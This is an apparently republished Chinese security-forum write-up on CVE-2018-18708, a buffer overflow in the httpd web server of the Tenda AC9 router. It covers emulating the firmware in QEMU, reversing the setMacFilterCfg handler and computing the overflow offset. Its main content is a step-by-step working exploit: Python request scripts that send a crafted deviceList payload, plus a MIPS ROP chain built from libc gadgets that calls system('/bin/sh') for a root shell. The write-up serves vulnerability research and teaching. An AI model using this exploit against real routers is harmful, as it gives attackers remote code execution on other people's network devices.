CVE-2018-18708 TENDA缓冲区溢出漏洞
 
                    
本文为看雪论坛精华文章
看雪论坛作者ID:The_Itach1
一
漏洞简介
二
仿真模拟
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.binreadelf -h ./bin/httpd
同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。
la $v0, websGetVarmove $t9, $v0jalr $t9 ; websGetVar

sudo apt install uml-utilities bridge-utilssudo brctl addbr br0sudo brctl addif br0 ens33sudo ifconfig br0 upsudo dhclient br0
cp $(which qemu-mipsel-static) .sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
三
漏洞分析

然后查看下返回的包。

返回了个{"errCode":2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。
Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);v2 = set_macfilter_mode(Var);......reload_macfilter_rules_to_wireless(Var);

现在我们知道了为什么会返回{"errCode":2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。

所以必须post传参,"macFilterType": "black",或者white。

进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。

进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是'\r'。


然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。
import requestsfrom pwn import *url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}data = {"macFilterType": "black", "deviceList":"\r" + "A" * 472 + "bbbb"}requests.post(url, cookies=cookie, data=data)

可以看到刚刚好。
四
漏洞利用
寻找libc基址

然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep uClibc_main。
import requestsfrom pwn import *url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}libc_base=0x7f583a08-0x0005F804system=0x0060320system_addr=libc_base+systemdata = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}requests.post(url, cookies=cookie, data=data)

可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。

成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000
import requestsfrom pwn import *url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}libc_base=0x7f58454c - 0x0006054system=0x0060320system_addr=libc_base+systemdata = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}requests.post(url, cookies=cookie, data=data)

构造rop链
import mipsropmipsrop = mipsrop.MIPSROPFinder()

.text:0000DC1C move $a0, $s0.text:0000DC20 move $t9, $s1.text:0000DC24 jalr $t9 ; stat64

.text:00060530 lw $ra, 0x18+var_s14($sp).text:00060534.text:00060534 loc_60534: # CODE XREF: sub_603D8+138↑j.text:00060534 lw $s4, 0x18+var_s10($sp).text:00060538 lw $s3, 0x18+var_sC($sp).text:0006053C lw $s2, 0x18+var_s8($sp).text:00060540 lw $s1, 0x18+var_s4($sp).text:00060544 lw $s0, 0x18+var_s0($sp).text:00060548 jr $ra.text:0006054C addiu $sp, 0x30
b"\r" +  b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)
这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。
snprintf(v5, 0x80u, "macfilter.%s.list%d", a1, a3);import requestsfrom pwn import *url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}#libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052Clib=0x7F524000system=0x0060320binsh=0x0006AE30gadget1=libc_base+0x00060530gadget2=libc_base+0x0000DC1Csystem_addr=libc_base+systembinsh_addr=libc_base+binshdata = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)b"bbbb"+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}requests.post(url, cookies=cookie, data=data)

而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。

最终exp以及调试
import requestsfrom pwn import *url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}#libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052Clib=0x7F524000system=0x0060320binsh=0x0006AE30gadget1=libc_base+0x00060530gadget2=libc_base+0x0000DC1Csystem_addr=libc_base+systembinsh_addr=libc_base+binshdata = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}requests.post(url, cookies=cookie, data=data)

gadget2

getshell

五
总结
参考

看雪ID:The_Itach1
https://bbs.pediy.com/user-home-926755.htm
# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
                        关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
                        让资讯触达的更精准有趣:https://www.0xu.cn/
                    
 关注KnowSafe微信公众号
            关注KnowSafe微信公众号随时掌握互联网精彩
            赞助链接
        
    

 
                 
             
             
            
 
        
 
        
